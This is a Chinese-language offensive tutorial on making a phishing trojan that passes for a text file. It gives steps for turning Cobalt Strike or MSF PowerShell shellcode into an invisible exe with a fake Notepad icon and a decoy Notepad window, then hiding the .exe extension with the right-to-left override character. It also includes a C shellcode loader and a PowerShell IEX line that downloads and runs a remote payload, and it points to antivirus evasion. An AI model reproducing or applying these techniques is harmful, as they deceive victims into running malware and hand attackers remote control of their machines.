左侧的文件是muma文件。右边的文件是真实文本文件,两者看起来基本一模一样(仔细看的出来图标略微不一样,图标可以后期自行设置),可以看到都是.txt的文件名。
一旦执行左侧的木马文件,我们的木马就会在后台悄悄执行了。CS MSF等等C2正常上线。
0x01 生成shellcode
我们使用CS MSF等等C2生成的powershell等shellcode.(任意命令行类型shellcode都可)
这里我用CS演示。先生成一段powershell命令行执行shellcode
但是我们是钓鱼,钓鱼就一些迷惑的东西。将先前创建的PowerShell有效负载移至Windows系统,并另存为payload.bat
我们去https://github.com/B00merang-Project/Windows-10-Icons下载Windows10图标。
在kali中就使用git下载吧
git clone https://github.com/B00merang-Project/Windows-10-Icons
该文件中可能不包含内置Windows 10图标的确切副本,但是看起来足够接近,可以很好地利用。
也可以在网上设计图标或找到更好的图标
0x02 将PNG转换为ICO格式
PNG将需要转换为Windows ICO图标格式。
可以使用在线工具(如ConvertICO:https://www.convertico.com )完成此操作。
只需将所需的PNG上传到网站,它将以ICO格式输出。
0x03 安装BAT2EXE
访问以下URL以下载B2E。
https://github.com/tokyoneon/B2E/
下载下来后直接安装执行
0x04 导入payload.bat
完成后,启动B2E,然后单击“打开/Open”按钮以导入之前创建的payload.bat。
0x05 将.bat转为.exe
现在将单词notepad
添加到payload.bat的顶部,然后单击“保存”。在执行PowerShell有效负载之前,这将使可执行文件在Windows计算机上打开记事本。这样做会使目标用户相信他们刚刚单击的文件确实是合法的文本文件。
完成后,选中“ Icon”选项将其打勾启用,然后使用“ …”按钮导入在上一步中创建ico图标。
然后,将Exe格式更改为“ 64位Windows |(不可见)”,以防止在目标用户打开文件时弹出任何终端。
之后点击顶部菜单栏Converter
-->Convert
创建exe文件,然后将文件另存为sertxt.exe
0x06 反转字符串欺骗扩展名
链接:https://unicode-table.com/en/202E/
使用Unicode字符来反转字符在文件名中的显示顺序。后的内容将进行反转(从右至左)
木马上线
可以看到打开执行后也是文本界面(经过测试发现当关闭文本窗口时才会执行我们的shellcode)测试时还发现是不免杀windows defender,当然后期可以对cs生成的powershell做免杀处理
总结
其实全程下来核心在于
(后面有";",不然会看不到)反转字符这里,试想,我们可不可以将现有的任意exe反转成这种类似的具有迷惑性的记事本文件呢,只需要在程序代码最后调用系统函数执行notepad
即可,这样应该会达到上述演示的相同效果(这只是我个人猜想并没有验证,有兴趣的老哥可以验证一下)
示例代码:
#include
#include
using namespace std;
int main(){
char shellcode[] = "把shellcode粘贴到这里";
LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpAlloc, shellcode, sizeof shellcode);
((void(*)())lpAlloc)();
system("notepad"); # 这段代码放在最前还是最后取决于测试结果
return 0;
}
由此可知 只要是远程上线的都可,比如远程加载powershell脚
powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1');"